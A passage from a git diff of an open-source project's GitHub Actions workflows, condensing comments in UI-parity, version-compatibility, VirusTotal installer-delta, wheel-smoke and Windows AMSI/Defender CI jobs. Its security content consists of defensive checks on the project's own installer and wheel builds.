- # runs on every cell; fast tier because its 57.3s film is the whole film.
- # Four cells (2 arms x 2 reps) at ~57s is the measurement budget here.
+ # --reps 2 is load-bearing: derive_unstable needs 2 observations, else the measured set is
+ # empty and scoring silently falls back to the declared list.
- name: Drive both sides through one session
timeout-minutes: 9
run: |
@@ -521,38 +314,7 @@ jobs:
--parity-shots "$SHOT_DIR" \
--out "$OUT_DIR"
- # WHAT REPLACED THE SLOT-BUDGET LIVENESS GATE, and why it is not a relaxation.
- #
- # studiobench's `--assert-liveness` fails a run when an action was REACHED LATER than its
- # scheduled slot. That gate is right for the measurement studiobench was built for, where an
- # action reached late produces a timing that means nothing. This job reads no timings. It
- # compares per-action DOM digests, and a missed slot there does not produce a wrong number,
- # it produces NO number: `analysis/parity.compare_rows` returns NOT_EXERCISED when NEITHER
- # arm ran, and `report` files that under NOT EXERCISED, never under the stable differences
- # the exit code is taken from.
- #
- # ONE arm is the exception, and it is not the same fact. An action that runs on one build
- # and cannot be performed on the other is the two builds behaving differently -- a control
- # that no longer opens produces exactly that and leaves no digest to differ -- so `report`
- # counts it, under the same corroboration bar as a differing digest, and a single arm's
- # missed slot stays a warning.
- #
- # That was measured rather than reasoned. Taking the upstream run that raised this and
- # marking action rows not-run to simulate missed slots, over 18 mutations at 2/4/6/10/16/24
- # missed slots and three seeds each, the verdict NEVER gained a red it did not have -- down
- # to 9 of 32 pairs still compared. A missed slot on the result cannot corrupt this verdict.
- # It can only cost COVERAGE, and coverage is defended below by a floor, in the units that
- # actually matter here, instead of by punctuality, which costs this job nothing.
- #
- # The one place a missed slot CAN move the verdict is the null control: `derive_unstable`
- # counts a not-run pair as blind rather than as an observation, so a missed slot there
- # blinds an action, which narrows the excuse set, which is how a result's ordinary noise
- # starts reading as a regression. That path is real and it is gated -- by the null audit in
- # the verdict job, which fires on exactly that condition and named it on the first try,
- # while the slot gate could only say "6 missed slots against a slack of 2".
- #
- # So the slack is NOT being raised. A gate that fires on a condition proven unable to affect
- # this job's answer is replaced by two that fire on the conditions that can.
+ # Missed on both arms gives NOT_EXERCISED; a slot missed on one arm is only a warning.
- name: The payload records a session at all
run: |
test -s "$OUT_DIR/payload.jsonl"
@@ -581,21 +343,8 @@ jobs:
kill "${STUDIO_a_PID:-0}" 2> /dev/null || true
kill "${STUDIO_b_PID:-0}" 2> /dev/null || true
- # THE SHOTS ARE THE ONLY LARGE THING THIS JOB PRODUCES, and on a clean run every one of
- # them is a picture of two pages that matched. `--parity-shots` writes one viewport PNG per
- # action, per arm, per repetition -- 18 x 2 x 2 = 72 per job -- and the upload below is
- # `if: always()`, so without this step a green run ships all of them and keeps them for a
- # week. The evidence step in the verdict job needs only the pairs that DIFFER.
- #
- # Decided on the arm because it needs only the arm's own payload: the question here is "did
- # the two arms differ", not "was the difference excused", and the second one needs the null
- # control and belongs to the verdict. So a few excused pairs survive this and are dropped
- # there, which is the right way round -- erasing an image here cannot be undone, and the
- # verdict job can always ignore one. An action with no digest on one side is KEPT, because
- # a missing capture is exactly the case a reader needs the picture for.
- #
- # `if: always()` and never fatal: this is a size optimisation, and a run whose measurement
- # is fine must not go red because a PNG could not be deleted.
+ # Delete shots whose arms matched (72 PNGs per job otherwise). Keep actions with a missing
+ # digest. Never fatal.
- name: Drop the shots of actions whose two arms matched
if: always()
continue-on-error: true
@@ -604,8 +353,7 @@ jobs:
--prune --payload "$OUT_DIR" --shots "$SHOT_DIR"
echo " $(find "$SHOT_DIR" -name '*.png' 2> /dev/null | wc -l) screenshot(s) left to upload"
- # Always, not on failure: the verdict job is a different runner and the
- # payload is the only thing it can read.
+ # Always: the verdict job runs elsewhere and reads only this payload.
- name: Upload the payload
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
@@ -642,14 +390,8 @@ jobs:
pattern: studiobench-parity-*
path: artifacts
- # FOUND, not assumed. The arms upload several paths, so upload-artifact
- # roots the archive at their least common ancestor and the payload comes
- # back one directory deeper than the path it was uploaded under. A fixed
- # `cp` here reads as a verdict-job bug in a run whose measurement was
- # fine, and the depth changes the moment another path is added to the
- # upload. `ui_parity.shards_of` also takes the DIRECTORY, never the file,
- # and names the shard after that directory, so both payloads have to land
- # in a directory of their own.
+ # Find the payload: upload-artifact roots multi-path uploads at their common ancestor.
+ # ui_parity.shards_of takes a directory per shard.
- name: Lay the shards out where ui_parity looks for them
run: |
set -euo pipefail
@@ -664,8 +406,6 @@ jobs:
mkdir -p "outputs/parity-$arm" "outputs/shots-$arm"
cp "$found" "outputs/parity-$arm/payload.jsonl"
echo "$arm: $found -> outputs/parity-$arm/payload.jsonl ($(wc -l < "$found") rows)"
- # The shots ride in the same artifact and land at whatever depth the ancestor put
- # them; found the same way and for the same reason as the payload.
shots="$(find "artifacts/studiobench-parity-$arm" -type d -name "shots-$arm" -print -quit)"
if [ -n "$shots" ]; then
cp "$shots"/*.png "outputs/shots-$arm/" 2> /dev/null || true
@@ -673,27 +413,13 @@ jobs:
echo "$arm: $(find "outputs/shots-$arm" -name '*.png' | wc -l) screenshot(s)"
done
- # THE NULL'S OWN SCORE, ALWAYS, AND FIRST. Scored against the DECLARED
- # list, which is what makes it readable: this is the number that says how
- # much of the declared list is fiction on this runner today. A base-vs-base
- # run measured here reported eleven stable actions differing against the
- # declared list, which is the entire reason the verdict below is scored
- # against the measured set instead. A non-zero exit is EXPECTED and is not
- # a failure -- it is the reading.
+ # The null's own score against the DECLARED list; a non-zero exit is the reading.
- name: The null control's own score
run: |
- # `set +e` is not redundant. GitHub runs every `run:` block under
- # `bash -e {0}`, so a non-zero exit aborts the step before the line
- # that was going to read it -- and ui_parity exits non-zero as its
- # normal way of REPORTING a difference. Without this the step dies
- # having printed nothing, which reads as a broken job on a run whose
- # measurement was fine.
+ # `set +e`: run: blocks use `bash -e`, and ui_parity exits non-zero to report a difference.
set +e
set -uo pipefail
- # NOT `set -e`, and the exit code is swallowed on purpose. ui_parity
- # exits 1 when a stable action differed, and here that is the READING
- # rather than a failure: this invocation exists to measure how much of
- # the declared list is fiction on this runner today.
+ # Exit code swallowed on purpose: it is the reading, not a failure.
python -m tests.studio.studiobench.sweep.ui_parity outputs/parity-null-control \
> null_score.txt 2>&1
echo "null control exit ${?} (1 means it found stable actions differing; that is the point)"
@@ -712,46 +438,10 @@ jobs:
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
- # SCOPED TO WHAT THE EXCUSE CHANGES, which is why --min-reps is passed here and has to be
- # the same value the verdict below uses. The null exists to excuse the result's noise, so
- # the only actions it owes an opinion on are the ones an excuse would move: a CORROBORATED
- # difference and a CORROBORATED one-arm-only action. A match, or anything seen in one
- # repetition only, is already reported without counting, so no excuse can change it.
- #
- # Scoping to what the result merely COMPARED was the first attempt and it was still not
- # satisfiable on a shared runner. An observation needs BOTH arms to reach the slot and the
- # arms miss slots independently, so at --reps 2 there is no slack: one missed slot on one
- # arm in one repetition blinds that action for good. This job lost 3 of 18 actions per cell
- # and came back undecided on 3 of the 14 actions the result compared -- on a wave whose
- # verdict, run by hand afterwards, was a clean pass with zero stable differences. A gate
- # that needs a flawless null control is a gate that reports the weather.
- #
- # THE ONE WAY THIS JOB CAN LOOK LIKE IT WORKED AND BE WORTH NOTHING.
- # `derive_unstable` needs two comparable observations of a (rung, action)
- # before it will decide anything about it. Below that every action comes
- # back undetermined, the measured set is EMPTY, and `unstable_set` falls
- # back to the union with the declared list -- while still printing the
- # words "UNSTABLE SET DERIVED", because the derivation ran. The verdict
- # then scores against exactly the declared list this job exists to
- # replace, and reports the null's own eleven differences as regressions.
- #
- # WHAT THIS DOES NOT ASSERT, and the first version of it got this wrong:
- # that the null control FOUND something. A null in which every action
- # reached its observation count and none of them differed emits no
- # measured entry at all, because `derive_unstable` records an action only
- # when it DIFFERED -- and that null is the best one obtainable. Keying on
- # a measured entry fails the job precisely when the runner is quietest and
- # the measurement is at its best, which teaches everyone to re-run it on
- # its good days. Nulls measured on these runners produced 11, 9, 10 and 0
- # stable differences across four consecutive waves; the 0 is not
- # hypothetical.
- #
- # So the question is whether each (rung, action) is DECIDED, and the tool
- # answers it. Not a grep over the tool's printed prose: that has now been
- # wrong twice, once because a real payload spells its rung `r100K` where a
- # fixture spells it `100K`, and once because the literal `action@rung`
- # appears in the explanatory text whether or not anything was measured.
- # `sweep/selftest/test_studiobench_null_audit.py` holds both directions.
+ # Assert each (rung, action) the excuse could change was DECIDED by the null; else the
+ # measured set is empty and scoring falls back to the declared list. Do not require that
+ # the null found differences. --min-reps must match the verdict.
+ # sweep/selftest/test_studiobench_null_audit.py covers both directions.
- name: The null control decided the actions it exercised
run: |
python -m tests.studio.studiobench.sweep.ui_parity \
@@ -811,12 +501,7 @@ jobs:
env:
UI_CHANGE_DECLARED: ${{ steps.labels.outputs.declared }}
run: |
- # `set +e` is not redundant. GitHub runs every `run:` block under
- # `bash -e {0}`, so a non-zero exit aborts the step before the line
- # that was going to read it -- and ui_parity exits non-zero as its
- # normal way of REPORTING a difference. Without this the step dies
- # having printed nothing, which reads as a broken job on a run whose
- # measurement was fine.
+ # `set +e`: run: blocks use `bash -e`, and ui_parity exits non-zero to report a difference.
set +e
set -uo pipefail
declare_flag=()
@@ -845,17 +530,8 @@ jobs:
fi
exit "$rc"
- # ONLY ON FAILURE, which is what keeps a green run cheap: a passing run publishes no
- # evidence artifact, and each arm has already deleted every shot whose two sides matched
- # before its own upload, so what survives a green run is the handful of pairs the null
- # control went on to excuse.
- #
- # A red verdict without these is a hex pair and a character count, which cannot answer the
- # one question a reader has -- is this real -- so the job gets re-run instead of read. The
- # pair comes from the SAME session that produced the differing digests, shot at the same
- # instant as the capture. Re-driving the film afterwards to take a nicer picture would be
- # the more comfortable design and a dishonest one: stream progress differs run to run, so
- # the second run would very often show two identical pages for a difference that was real.
+ # Only on failure. Pairs come from the same session as the differing digests; re-driving
+ # the film would usually show two identical pages.
- name: Draw the before/after pairs for what turned it red
if: failure() || steps.verdict.outputs.declared_diff == 'true'
env:
@@ -863,10 +539,7 @@ jobs:
run: |
set -uo pipefail
pip install --quiet 'pillow<12'
- # --min-reps MUST match the verdict above. At a lower value the artifact would
- # carry composites of one-repetition flakes beside the change that actually failed
- # the job, and nothing in the images says which is which -- so the evidence would
- # bury the finding it exists to show.
+ # --min-reps MUST match the verdict above.
python -m tests.studio.studiobench.sweep.parity_shots \
--result outputs/parity-result \
--null outputs/parity-null-control \
diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml
index c5c5278eb78..5d817b327a1 100644
--- a/.github/workflows/version-compat-ci.yml
+++ b/.github/workflows/version-compat-ci.yml
@@ -1,7 +1,6 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-#
-# Cross-version compat canary: raw-fetch plus symbol grep against every tracked version, no pip install.
+# Cross-version compat canary: raw-fetch plus symbol grep, no pip install.
name: Version Compat CI
@@ -11,19 +10,14 @@ on:
- 'unsloth/**'
- 'tests/vllm_compat/**'
- 'tests/version_compat/**'
- # zoo-imports-under-spoof is the only job that runs the modules.json trust gate (the CPU
- # repo-test shards have no sentence-transformers and skip it), so an edit to it must run here.
+ # Only this workflow runs the modules.json trust gate.
- 'tests/test_st_modules_json_trust_gate.py'
- 'pyproject.toml'
# Same trigger set as cap-site-consistency, so a cap moved in another workflow runs this job.
- '.github/workflows/**'
- 'tests/test_transformers_cap_sites.py'
- 'tests/test_trl_cap_sites.py'
- # Every pytest run here loads tests/conftest.py and the tests/_shared helpers it
- # pulls in (installer_venv_root.py imports studio/install_manifest.py), and eight
- # of the collected tests import tests/_zoo_aggressive_cuda_spoof.py. Studio
- # Backend CI ignores tests/version_compat and tests/vllm_compat, so nothing else
- # runs them.
+ # Studio Backend CI ignores tests/version_compat and tests/vllm_compat.
- 'tests/conftest.py'
- 'tests/__init__.py'
- 'tests/_shared/**'
@@ -48,10 +42,8 @@ permissions:
contents: read
jobs:
- #
# -n 4: fetch-bound; -n 8 measured 2.7x slower (upstream throttling).
- #
- # tests/studio/test_version_compat_bundle.py asserts every suite is still named here.
+ # tests/studio/test_version_compat_bundle.py asserts every suite is named here.
pinned-symbol-matrix:
name: pinned-symbol matrix (vLLM, TRL, PEFT, ST, bitsandbytes, transformers)
runs-on: ubuntu-latest
@@ -64,9 +56,7 @@ jobs:
with:
python-version: '3.12'
- name: Install pytest only
- # packaging: the PEFT backfill suite loads unsloth/import_fixes.py by file path and
- # that module imports packaging.version at the top. It pulls in nothing heavier,
- # which is why it can run in this dependency-free job at all.
+ # packaging: import_fixes.py, loaded by path, imports it at module top.
run: |
python -m pip install --upgrade pip
pip install 'pytest>=8' 'pytest-xdist>=3' packaging
@@ -82,12 +72,9 @@ jobs:
echo "PYTEST_TRANSFORMERS_MATRIX_FILE=${{ runner.temp }}/transformers-matrix.json" >> "$GITHUB_ENV"
- name: Run every pinned-symbol suite
env:
- # Authenticated raw fetches get 5000/h; unauthenticated is 60/h and trips on the
- # matrix. That ceiling is why the worker count stays at 4.
+ # Authenticated raw fetches get 5000/h vs 60/h, which is also why workers stay at 4.
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
- # PYTHONPATH=. so `from tests.version_compat._fetch import ...` works without an
- # editable install of unsloth itself.
PYTHONPATH=. python -m pytest \
tests/vllm_compat/test_vllm_pinned_symbols.py \
tests/version_compat/test_trl_grpo_pinned_symbols.py \
@@ -174,8 +161,6 @@ jobs:
path: unsloth
- name: Clone unsloth-zoo @ main
run: |
- # github.com occasionally 500s on the git fetch; retry so a
- # single upstream blip does not fail CI.
for attempt in 1 2 3; do
rm -rf "$RUNNER_TEMP/unsloth-zoo"
if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \
@@ -191,18 +176,13 @@ jobs:
sleep "$delay"
done
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
- # This job pins its dependencies inline below rather than in a requirements
- # file, so the workflow IS the dependency spec and hashing it is what makes the
- # key describe the payload. Unscoped, setup-python hashes dependency files
- # repo-wide, so one unrelated edit invalidates ~700MB per interpreter.
+ # Deps are pinned inline below, so the workflow file is the cache key's dependency spec.
with:
python-version: ${{ matrix.python }}
- name: Restore the pip cache
id: pip-cache
- # ./ resolves from GITHUB_WORKSPACE, and this job checks the repo out
- # under `unsloth/`, so the unprefixed path is a directory that does not
- # exist and the step fails with "Can't find 'action.yml'".
+ # Prefixed: this job checks the repo out under `unsloth/`.
# One literal name (tests/studio/test_pip_cache_naming.py), so no two lanes may share an interpreter.
uses: ./unsloth/.github/actions/pip-cache-restore
with:
@@ -213,22 +193,13 @@ jobs:
- name: Install CPU torch + this lane's pins
run: |
python -m pip install --upgrade pip
- # CPU torch (vllm/peft/st all depend on it).
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
${{ matrix.torch_pins }}
- # torchcodec is a hard requirement on transformers 5.x:
- # transformers/audio_utils.py:55 does
- # `importlib.metadata.version("torchcodec")` UNCONDITIONALLY,
- # which raises PackageNotFoundError on a CPU runner that
- # otherwise has no audio path -- and that error trickles up
- # through every `import unsloth_zoo.<module>` because
- # unsloth-zoo's vision_utils transitively pulls
+ # torchcodec is required on transformers 5.x: audio_utils reads its metadata unconditionally.
# ABI-coupled to torch, so the pair is chosen per lane. huggingface_hub unpinned: 4.x wants <1.0, 5.x >=1.5.0.
pip install ${{ matrix.pkg_pins }} \
sentencepiece protobuf safetensors numpy 'pytest>=8' \
tqdm packaging psutil Pillow requests
- # Editable-install both repos so the test imports the
- # checkouts (not whatever stale PyPI version pip resolved).
pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo"
pip install --no-deps -e ./unsloth
- name: Report the resolved set
@@ -250,15 +221,7 @@ jobs:
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
run: |
cd unsloth
- # tests/vllm_compat/test_unsloth_zoo_imports.py: narrow vllm/grpo
- # import gates (5 tests).
- # tests/vllm_compat/test_extended_module_imports.py: full sweep
- # of unsloth_zoo + unsloth.models.* modules + RL dispatch
- # table population + FastModel API surface under spoof
- # (~30 tests). Catches transformers / peft / bnb symbol pin
- # drift at module-top BEFORE any runtime call.
- # tests/test_st_modules_json_trust_gate.py: the modules.json trust gate, which needs
- # sentence-transformers installed, as this job is and the CPU repo-test shards are not.
+ # test_st_modules_json_trust_gate.py needs sentence-transformers, which only this job has.
PYTHONPATH=. python -m pytest \
tests/vllm_compat/test_unsloth_zoo_imports.py \
tests/vllm_compat/test_extended_module_imports.py \
@@ -267,23 +230,15 @@ jobs:
- name: Save the pip cache
if: always()
- # ./ resolves from GITHUB_WORKSPACE, and this job checks the repo out
- # under `unsloth/`, so the unprefixed path is a directory that does not
- # exist and the step fails with "Can't find 'action.yml'".
+ # Prefixed: this job checks the repo out under `unsloth/`.
uses: ./unsloth/.github/actions/pip-cache-save
with:
dir: ${{ steps.pip-cache.outputs.dir }}
key: ${{ steps.pip-cache.outputs.key }}
cache-hit: ${{ steps.pip-cache.outputs.cache-hit }}
- # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike
- # the static symbol/source greps above, this drives unsloth's actual
- # source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only
- # runner under the tests/conftest.py spoof harness -- no GPU, no training.
- # Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple
- # per-token-logps return, restructured PEFT ref-adapter block) by asserting
- # the generated Unsloth trainer still satisfies the transform contracts.
- # models/rl.py matches TRL source text, so TRL is the deciding axis.
+ # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL: drives models/rl.py and
+ # rl_replacements.py transforms to catch structural TRL drift the greps miss.
grpo-fake-run:
name: GRPO fake-run (CPU spoof, TRL ${{ matrix.slug }})
runs-on: ubuntu-latest
@@ -332,18 +287,13 @@ jobs:
sleep "$delay"
done
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
- # This job pins its dependencies inline below rather than in a requirements
- # file, so the workflow IS the dependency spec and hashing it is what makes the
- # key describe the payload. Unscoped, setup-python hashes dependency files
- # repo-wide, so one unrelated edit invalidates ~700MB per interpreter.
+ # Deps are pinned inline below, so the workflow file is the cache key's dependency spec.
with:
python-version: ${{ matrix.python }}
- name: Restore the pip cache
id: pip-cache
- # ./ resolves from GITHUB_WORKSPACE, and this job checks the repo out
- # under `unsloth/`, so the unprefixed path is a directory that does not
- # exist and the step fails with "Can't find 'action.yml'".
+ # Prefixed: this job checks the repo out under `unsloth/`.
uses: ./unsloth/.github/actions/pip-cache-restore
with:
name: version-compat-grpo
@@ -366,9 +316,7 @@ jobs:
env:
UNSLOTH_IS_PRESENT: '1'
UNSLOTH_COMPILE_DISABLE: '1'
- # Disable dynamo/inductor at the process level, before conftest.py's early
- # `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner
- # (defense in depth; the CPU fake-train also flips this at runtime).
+ # Disable dynamo before conftest.py imports unsloth, so nothing compiles without a GPU.
TORCHDYNAMO_DISABLE: '1'
TORCH_COMPILE_DISABLE: '1'
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
@@ -390,8 +338,7 @@ jobs:
tests/version_compat/test_grpo_vllm_top_k_from_fast_inference.py \
tests/version_compat/test_trl_experimental_trainers_patched.py \
-v --tb=short
- # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge
- # TRL break does not red every PR. github.event_name is valid in a step if.
+ # TRL main is schedule/dispatch only so a bleeding-edge break does not red every PR.
- name: Fake-run vs TRL main (scheduled / dispatch only)
if: ${{ github.event_name != 'pull_request' && matrix.slug == 'latest' }}
env:
@@ -422,17 +369,14 @@ jobs:
- name: Save the pip cache
if: always()
- # ./ resolves from GITHUB_WORKSPACE, and this job checks the repo out
- # under `unsloth/`, so the unprefixed path is a directory that does not
- # exist and the step fails with "Can't find 'action.yml'".
+ # Prefixed: this job checks the repo out under `unsloth/`.
uses: ./unsloth/.github/actions/pip-cache-save
with:
dir: ${{ steps.pip-cache.outputs.dir }}
key: ${{ steps.pip-cache.outputs.key }}
cache-hit: ${{ steps.pip-cache.outputs.cache-hit }}
- # Daily-only: same suites but with --strict on importable upstream
- # tags. Schedule-only so PR jobs stay fast; cron tolerates a flake.
+ # Daily-only: same suites with --strict on importable upstream tags.
daily-fresh-fetch:
name: daily fresh-fetch sweep (cron only)
if: ${{ github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' }}
diff --git a/.github/workflows/virustotal-installer-delta.yml b/.github/workflows/virustotal-installer-delta.yml
index f12b97f66bc..9b95bb3bf7f 100644
--- a/.github/workflows/virustotal-installer-delta.yml
+++ b/.github/workflows/virustotal-installer-delta.yml
@@ -1,36 +1,9 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# What did the hardening actually buy?
-#
-# install.ps1 at commit 1ad44677d is the revision reported in #10805, it hashes to ec29980b..., and
-# VirusTotal holds its verdict. That is a baseline, and until it was found this work had never had a
-# before-and-after number -- six passes of hardening, all argued rather than measured.
-#
-# This lane reports the delta on three axes, separately, because they move independently:
-#
-# engine verdicts Which of ~60 engines flagged it, by name. One flags the baseline: Skyhigh
-# (Trellix / McAfee Enterprise), BehavesLike.PS.Suspicious.gr. Slowest to move --
-# a cloud behavioural verdict is not recomputed because we deleted some code.
-# Sigma rules 17 on the baseline (1 high, 11 medium, 5 low). Static and deterministic, and
-# what drives the alarming scores third-party analysis sites report. This is the
-# axis shape work moves, and it moves immediately.
-# YARA rules 2 crowdsourced hits on the baseline. Also static.
-#
-# Reporting only the engine count makes every shape win look like nothing; reporting only Sigma
-# overclaims. Both, or the number is not worth having.
-#
-# GET only. There is no upload path, deliberately: a freshly uploaded file is a prevalence-zero,
-# first-seen sample, which is exactly what CloudBlockLevel HighPlus and ASR rule 01443614 punish, so
-# uploading a candidate can CREATE the detection it was meant to measure -- under a hash no user will
-# ever have. Released artefacts are uploaded by scripts/virustotal_scan.py at release time; branches
-# are not.
-#
-# The consequence is that an unknown hash is VOID (exit 3), never clean. "0 engines flagged it" for a
-# file nothing has ever scanned would be the most misleading thing this could print.
-#
-# Dispatch only. It spends public-tier quota (4 requests/minute, 500/day) and answers a question that
-# is asked deliberately, not on every push.
+# Reports the VirusTotal delta against the reported install.ps1 baseline on three axes:
+# engine verdicts, Sigma rules and YARA rules. GET only: uploading a fresh sample can
+# create the detection. An unknown hash is VOID (exit 3), never clean. Dispatch only.
name: "VirusTotal: installer delta against the reported baseline"
@@ -61,21 +34,17 @@ jobs:
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
- # The baseline is verified against this repository's own history rather than trusted as a
- # constant, and that needs the commit to be present.
+ # The baseline commit is verified against this repo's history.
fetch-depth: 0
persist-credentials: false
- name: Prove the comparison can still report a regression
run: |
set -euo pipefail
- # Before spending any quota. A comparison that silently stopped reporting regressions would
- # produce a reassuring delta forever, and that is a worse outcome than no lane.
+ # Self-test before spending quota.
python scripts/virustotal_delta.py --self-test
- # Separate from the self-test because it needs git history, and a shallow clone should skip
- # rather than fail. A baseline hash nobody rechecks is a number that could be pointing at any
- # file at all while the lane looks perfectly healthy.
+ # Separate step: needs git history, and a shallow clone should skip rather than fail.
- name: Confirm the baseline is the file the reporter ran
run: |
set -euo pipefail
@@ -96,11 +65,7 @@ jobs:
- name: Compare
id: compare
env:
- # VT_API_KEY is the ENV VAR the Python reads (scripts/virustotal_scan.py:37); the
- # repository secret is named VIRUS_TOTAL_API_TOKEN, and release-desktop.yml:2193 maps it
- # the same way. Naming the secret VT_API_KEY here expanded to empty, and the lane then
- # exited 3 / VOID on every run -- loudly, which is the right failure, but it measured
- # nothing.
+ # The script reads VT_API_KEY; the repository secret is VIRUS_TOTAL_API_TOKEN.
VT_API_KEY: ${{ secrets.VIRUS_TOTAL_API_TOKEN }}
TARGET: ${{ inputs.path }}
BASELINE: ${{ inputs.baseline_sha256 }}
@@ -127,6 +92,5 @@ jobs:
name: virustotal-delta
path: ${{ runner.temp }}/vt-delta.md
if-no-files-found: warn
- # Long, for the same reason the flagged bundles are kept 90 days: clearance is per hash, and
- # a vendor round trip plus our own reaction routinely outlasts a week.
+ # Clearance is per hash and vendor round trips outlast a week.
retention-days: 90
diff --git a/.github/workflows/wheel-smoke.yml b/.github/workflows/wheel-smoke.yml
index aa26bd117db..673768461bb 100644
--- a/.github/workflows/wheel-smoke.yml
+++ b/.github/workflows/wheel-smoke.yml
@@ -1,20 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Builds the PyPI wheel from the PR branch, then verifies the built wheel
-# actually contains what we expect to ship and does NOT contain the broken
-# Unsloth bundle that 2026.5.1 published. This is the single workflow that
-# would have blocked the 2026.5.1 release before twine upload.
-#
-# Verified locally end-to-end against this branch:
-# - python -m build produces unsloth-<version>-py3-none-any.whl in 13s
-# - wheel content sanity passes:
-# frontend dist shipped, and none of the pre-build tree with it:
-# no package-lock, no frontend public, no frontend src,
-# no node_modules in wheel, no bun.lock in wheel,
-# main bundle has unstable_Provider hits=1 (assistant-ui internals only).
-# - Unsloth backend imports cleanly from the installed wheel with the
-# lightweight dep set below.
+# Builds the PyPI wheel and checks it ships the frontend dist without the pre-build tree,
+# and that the backend imports from the installed wheel.
name: Wheel CI
@@ -23,15 +11,12 @@ on:
paths:
- 'pyproject.toml'
- 'MANIFEST.in'
- # Required: the publish guard reads build.sh, so a PR reverting the upload
- # glob must not skip this workflow.
+ # The publish guard reads build.sh.
- 'build.sh'
- 'studio/**'
- 'unsloth/**'
- 'unsloth_cli/**'
- '.github/workflows/wheel-smoke.yml'
- # The first gating step runs this auditor, so an edit to it changes what this
- # workflow runs.
- 'scripts/lockfile_supply_chain_audit.py'
push:
branches: [main]
@@ -43,8 +28,6 @@ on:
- 'unsloth/**'
- 'unsloth_cli/**'
- '.github/workflows/wheel-smoke.yml'
- # The first gating step runs this auditor, so an edit to it changes what this
- # workflow runs.
- 'scripts/lockfile_supply_chain_audit.py'
concurrency:
@@ -79,12 +62,7 @@ jobs:
run: python3 scripts/lockfile_supply_chain_audit.py
- name: Build frontend
- # Lifecycle scripts (esbuild native-binary postinstall, etc.) are
- # required for `vite build`. The pre-install lockfile structural
- # audit (lockfile_supply_chain_audit.py) is the practical defence
- # against the npm postinstall-dropper class -- it fires BEFORE any
- # tarball runs, on the injection pattern itself rather than an
- # advisory-DB lookup.
+ # Lifecycle scripts are required for `vite build`; the lockfile audit runs first.
run: |
cd studio/frontend
npm ci --no-fund --no-audit
@@ -144,9 +122,7 @@ jobs:
PY
- name: Publishing path uploads the wheel only
- # #10202 set the publish glob to dist/*.whl; 2026.9.2 shipped an 86.6MB
- # sdist anyway. build.sh must still BUILD the sdist for --verify-dist, so
- # only the upload glob is asserted here.
+ # Only the upload glob is asserted: build.sh must still build the sdist for --verify-dist.
run: |
python - <<'PY'
import re, shlex, sys
@@ -281,11 +257,8 @@ jobs:
PY
- name: No test suites in wheel or sdist
- # tests/security/fixtures embeds a real supply-chain IOC literal, which got
- # the published sdist flagged by antivirus vendors (discussion #9577).
- #
- # Both artifacts: `python -m build` builds the wheel FROM the sdist, so a
- # test suite reaching one reaches the other.
+ # tests/security/fixtures embeds a real IOC literal that got the sdist flagged by AV.
+ # Check both artifacts: the wheel is built from the sdist.
run: |
python - <<'PY'
import glob, sys, tarfile, zipfile
@@ -324,10 +297,7 @@ jobs:
PY
- name: Unsloth backend import smoke
- # Imports `studio.backend.main:app` from the freshly-installed wheel in
- # a clean venv. This catches the class of bug that 2026.5.1 shipped with:
- # frontend dist missing, package-lock.json missing, or the wheel's Python
- # source tree broken in a way that surfaces only at app construction time.
+ # Import studio.backend.main:app from the installed wheel in a clean venv.
run: |
python -m venv /tmp/v
/tmp/v/bin/pip install --upgrade pip
@@ -342,9 +312,7 @@ jobs:
/tmp/v/bin/python -c "from studio.backend.main import app; print('Unsloth backend OK:', app.title)"
- name: CLI without the Unsloth stack guides instead of tracebacking
- # The smoke above installs studio.txt first, so it cannot catch a wheel
- # that ships studio/ without declaring what it imports (#4701, #5260,
- # #7147). Drop only structlog to reuse that venv without a re-download.
+ # Catches a wheel that ships studio/ without declaring what it imports.
run: |
set -eu
/tmp/v/bin/pip uninstall -y structlog >/dev/null
diff --git a/.github/workflows/windows-amsi-defender-differential-ci.yml b/.github/workflows/windows-amsi-defender-differential-ci.yml
index e982beb3e11..0757ae802ca 100644
--- a/.github/workflows/windows-amsi-defender-differential-ci.yml
+++ b/.github/workflows/windows-amsi-defender-differential-ci.yml
@@ -1,32 +1,11 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Will AMSI let the installer compile, and does Defender's file scanner flag its bytes?
-#
-# This is the lane that reproduces #10805's mechanism rather than approximating it. The user there
-# was not running the installer and watching it misbehave -- the script was refused before its first
-# statement ran, because PowerShell hands a script block to AMSI at COMPILE time. So the measurement
-# is compilation, which `[scriptblock]::Create` performs with none of an install's side effects: no
-# download, no venv, no registry, no shortcut. That makes it cheap enough to run on every candidate,
-# which the two-full-installs lane (windows-installer-differential-ci.yml) is not.
-#
-# It is differential. "install.ps1 compiles fine" is close to meaningless on its own; "the merge base
-# compiles and the candidate does not" is a finding, and so is the reverse.
-#
-# Every verdict here depends on a positive control, and both halves have one:
-#
-# AMSI Microsoft's documented test sample, assembled from fragments, submitted through the
-# SAME code path in the SAME process as each measurement.
-# Defender EICAR, assembled from fragments, scanned through the same MpCmdRun invocation.
-#
